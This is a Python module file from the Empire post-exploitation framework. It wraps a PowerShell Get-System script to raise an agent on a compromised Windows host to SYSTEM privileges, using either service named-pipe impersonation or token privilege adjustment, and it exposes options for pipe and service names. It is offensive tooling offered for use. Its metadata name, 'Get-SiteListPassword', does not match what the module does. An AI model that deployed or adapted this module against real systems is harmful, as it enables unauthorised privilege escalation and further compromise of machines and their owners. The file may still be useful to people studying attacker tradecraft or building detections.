Empire/lib/modules/privesc/getsystem.py

115 lines
4.1 KiB
Python

from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Get-SiteListPassword',
'Author': ['@harmj0y', '@mattifestation'],
'Description': ("Gets SYSTEM privileges with one of two methods."),
'Background' : False,
'OutputExtension' : None,
'NeedsAdmin' : True,
'OpsecSafe' : False,
'MinPSVersion' : '2',
'Comments': [
'https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c',
'https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot',
'http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/',
'http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'Technique' : {
'Description' : "Technique to use, 'NamedPipe' for service named pipe impersonation or 'Token' for adjust token privs.",
'Required' : False,
'Value' : 'NamedPipe'
},
'ServiceName' : {
'Description' : "Optional service name to used for 'NamedPipe' impersonation.",
'Required' : False,
'Value' : ''
},
'PipeName' : {
'Description' : "Optional pipe name to used for 'NamedPipe' impersonation.",
'Required' : False,
'Value' : ''
},
'RevToSelf' : {
'Description' : "Switch. Reverts the current thread privileges.",
'Required' : False,
'Value' : ''
},
'WhoAmI' : {
'Description' : "Switch. Display the credentials for the current PowerShell thread.",
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Get-System.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
script += "Get-System "
if self.options['RevToSelf']['Value'].lower() == "true":
script += " -RevToSelf"
elif self.options['WhoAmI']['Value'].lower() == "true":
script += " -WhoAmI"
else:
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += "| Out-String | %{$_ + \"`n\"};"
script += "'Get-System completed'"
return script